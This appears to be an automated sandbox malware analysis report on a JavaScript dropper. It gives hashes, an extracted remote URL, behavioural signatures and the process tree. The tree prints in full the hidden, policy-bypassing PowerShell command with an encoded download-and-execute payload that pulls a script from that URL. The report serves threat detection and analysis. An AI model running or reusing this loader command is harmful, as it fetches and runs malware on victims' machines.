Analysis
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max time kernel
149s -
max time network
155s -
platform
windows10-2004_x64 -
resource
win10v2004-20240226-en -
resource tags
arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system -
submitted
11/03/2024, 17:31
Static task
static1
Behavioral task
behavioral1
Sample
c12f901675a3d8ca4a21aae3711c0333.js
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
c12f901675a3d8ca4a21aae3711c0333.js
Resource
win10v2004-20240226-en
General
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Target
c12f901675a3d8ca4a21aae3711c0333.js
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Size
329KB
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MD5
c12f901675a3d8ca4a21aae3711c0333
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SHA1
995b758005f5afee95adb09fe78831735e574697
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SHA256
1a18842c816a2282b5f1a073adfa56000a2a0f1c2db43ccdccc2e1f1d710cf3c
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SHA512
3d6e73ff304220f2831ed69a291cfd319ee165e44d75d76be2a399b2ca23f320dd6b66f7ee34e4c6bde4a117b403f91de99e80147a6bfd390ffdc58443202dc1
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SSDEEP
6144:0Xt/0Dlm7NeXofOZOaq37Qr9i6FDimNSohw/MxAXMrWRWqAbJiL85zJSXX:0Xt8Dw/OXDbi8xIP8rWRCll5O
Malware Config
Extracted
https://jolantagraban.pl/log/57843441668980/dll/assistant.php
Signatures
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Blocklisted process makes network request 1 IoCs
flow pid Process 20 4084 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\Control Panel\International\Geo\Nation wscript.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 4084 powershell.exe 4084 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4084 powershell.exe -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 3804 wrote to memory of 2776 3804 wscript.exe 92 PID 3804 wrote to memory of 2776 3804 wscript.exe 92 PID 2776 wrote to memory of 4084 2776 cmd.exe 94 PID 2776 wrote to memory of 4084 2776 cmd.exe 94
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\c12f901675a3d8ca4a21aae3711c0333.js1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3804 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwBqAG8AbABhAG4AdABhAGcAcgBhAGIAYQBuAC4AcABsAC8AbABvAGcALwA1ADcAOAA0ADMANAA0ADEANgA2ADgAOQA4ADAALwBkAGwAbAAvAGEAcwBzAGkAcwB0AGEAbgB0AC4AcABoAHAAIgApAA==2⤵
- Suspicious use of WriteProcessMemory
PID:2776 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepoWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwBqAG8AbABhAG4AdABhAGcAcgBhAGIAYQBuAC4AcABsAC8AbABvAGcALwA1ADcAOAA0ADMANAA0ADEANgA2ADgAOQA4ADAALwBkAGwAbAAvAGEAcwBzAGkAcwB0AGEAbgB0AC4AcABoAHAAIgApAA==3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4084
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82